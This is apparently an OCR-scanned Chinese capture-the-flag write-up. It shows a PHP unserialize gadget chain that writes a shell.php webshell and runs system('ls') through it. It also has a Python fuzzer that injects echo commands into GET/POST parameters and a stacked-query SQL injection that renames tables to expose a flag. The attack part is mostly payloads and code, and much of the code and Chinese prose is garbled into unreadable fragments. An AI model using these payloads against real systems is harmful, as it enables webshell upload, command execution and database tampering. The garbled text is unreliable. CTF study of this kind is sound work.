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w @ thi =unserialize(base64 decode($profile)) ;
_db=db ’ user’ ) —>where( field: “ID”, intval(§this->profile[’ ID' 1))~>find();
if (array_diff($this->profile_db, $this->profile)==null) {
r 1
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public function __get ($name)
: {
2 @ return 3this-rexcept[$nams];
}

public function __call ($name, $arsuments)
{
ga @ if ($this—> {$name}) {

@ $this—>{$this-> {$name} } ($arsuments)
91 }
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public function __destruct()
39 {

i0 @ if(13this-—>registed) |

i1 @ $this—>checker—>index () :
62 }
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public function upload img() {
if (§this—>checker) {
if (1§this->checker->login_check ) {
$curr_url="http://". §_SERVER[' HTTP_HOST’ J. $_SERVER[’ SCRIPT_NAME' 1. /index";
§this-—>redirect (§eurr_url, params: 302);
exit() ;
}
34 i

if(tempty ($_FILES)) {
$this—>filename_tmp=$_FILES[ upload_file’ ][’ tmp_name’];
$this—>filename-md5($_FILES[' upload_file’ ][ name’ 1). . png”;
$this—>ext_check () ;
i
if(§this—>ext) {
if (getimagesize(§this->filename_tmp)) |
@copy ($this—>filename_tmp, $this—>filename);
@unlink($this—>filename_tmp)
$this->img=". . /upload/§this->upload_menu/§this->filename”;
$this—>update_img() ;
lelse{
$this=>error ( msg: 'Forbidden type!’, url( urk '.. /index’)):
}
Jelse{
$this—>error( msg: ' Unknow file type!’, url( ur: ’../index’));
}
}
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<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed;

public function __construct()

{

$this->checker=new Profile();

class Profile{
public $checker;
public $filename_tmp =
"/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/f383a31abdcf931f89bae4ab05d3e088.png";
public $filename = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c¢4529588da/shell.php”;
public $upload_menu = "upload_img";
public $ext = "1";
public $img;
public $except = ["index" => "upload_menu"];

$clazz = new Register();

echo serialize($clazz);

echo "<hr>";

echo base64_encode(serialize($clazz));
?>

45 B FH cookie & it 3=

WG Flupload B, BEZ&RZshell.phpiIEE T, WESIFEEATT (REE D5 RAFE<SEEEETEHIATE
EHFVWN, FUBAEEST)

Index of /upl

oad/e5a32351a6802ef0291ac7c4529588da/

IEETS Seel

shell. php 28-May-2019 06:00 5687

G O=s% Dasa DEE ((atess Quwe 0rs NAg BFF  SEsks @ Hacksar

Encryption ~  Encoding~  SQL~ XSS~  Other ~

@ Load URL http://10.10.10.1 php

4 spitURL

) Execur
recdte Postdata [] Referer [ UserAgent [] Cookies  Clear Al

1=system(ls");



ERIIHR

|| @ s - o x|
¢AmSword =8 B0 @t «
Jd = o001 b
NECLETO) < Dxemae) ~
=0/ OFE - ALE OB AZER  RBE v | fva/wewhin) >in
(D= ) a8 Hih =i 3
51 waw

" n O applca J
» O config ]
[/ 0O eens |

pppppp

aaaaa

88838 . s a

DeEDODREODWZ0O0000

=SS

0x02 #% B iy B %

XIE 1R B 3 & TS Kpython A 4 S5 88 11, JRIGERA 30024, |AMNEHILELT, —MMEILFA
A g

— M Ay 2 4T system,eval,assert,” ,execEE S HUE ¥ A% B B ARKIRHME R O A BRE R T, B FE—MEAR
] RES W R

TRREAMASEITT, SERALFRIEN RS _GETMS POSTHZH, HE UREL MW echo
"hello_qwb_qwb"; , R/EERMITIILHE: EF, HrequestskgetsliFpostit R, BEH A BHE "hello_qwb_qwb"i
FE, MREHRLMEEHEHNSEHT

emmmm.....pythonTh 1 E mE, TREEEZENRE
I B FIRBOCCH-4 L https://www.cnblogs.comv/strongYaYa/p/7200357 .html

IKELS_GETHIS_POST f) 4 A 1E I HE M«
https://www.liaoxuefeng.com/wiki/897692888725344/923056128128864

T A1 https://www.runoob.convpython/python-files-io.html
AT, BEBEKET, XEHT8MLE, windowsHpowershellipythonZ £ 12 E KA falinux

import requests
import re

import os

import urllib
import Queue
import threading

payload = 'echo "hello qwb_qwb";"
url = '"http://127.0.0.1/qwb/src/"’

def fuzz(filename):
file = open("./src/" + filename, "r")
#print "[*]open:" + filename
text = file.read()

getpattern = re.compile(r'\$_GET\[\'(.*)\'\]")
get = getpattern.findall(text)



postpattern = re.compile(r'\$_POST\[\'(.*)\'\]")
post = postpattern.findall(text)

file_url = url + filename

for g in get:
r = requests.get(file_url + "?" + g + "=" + urllib.quote(payload))
if "hello_gwb_gwb" in r.text:

print "[+]file:" + filename
print "[+]get:" + g

exit()

for p in post:
data = {p : payload}
r = requests.post(file_url,data=data)
if "hello_gwb_gwb" in r.text:

print "[+]flie:" + filename
print "[+]post:" + p
exit()
print "[*]finish:" + filename

file.close()

class TextThread(threading.Thread):
def _init_ (self, queue):
threading.Thread.__init_ (self)
self. queue = queue

def run(self):
global text
queue = self._ queue
while not queue.empty():
filename = queue.get()
fuzz(filename)

def main():
queue = Queue.Queue()
for filename in os.listdir('./src'):
queue.put(filename)

thread_count = 8

threads = []

for i in range(@, thread_count):
thread = TextThread(queue)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()

if _ name__=='__main__"':

main()
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return preg _match(”/select | update|delete|drop|insert |where|\. /i, $inject);
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?inject="';show databases;
?inject=";show tables;

array(l) {
[o]=>
string(9) “supersqli”

array (1) {
[o]=>
string(4) “test”
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array (1) {
[ol=>»
string(16) "1919810931114514”

array (1) {
[ol=>»
string(5) “words”

}
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array (6) {
[ol=>
string(4) "flag”
[11=
string(12) “varchar (100)”
[21=
string(2) “NO”
[31=>
string(0) ””
[41=>

[s51=>
string(0) 7"
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alter table "4  add(FE4&Z FBEHE NULL) #A
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array(6) {
[0]=>
string(2) ”"id”
[11=
string(7) “int(10)”
[21=
string(2) "NO”
[3]=>
string(0) 7”7
[4]=>
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?inject=";alter table "1919810931114514" add(id int NULL);rename table “words™ to “tmp  ;rename table
©1919810931114514° to “words”;
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arrav(2) {
[0]1=>
string(32) “flag{glzjin wants a_girl firend}”
[1]=>
NULL
1
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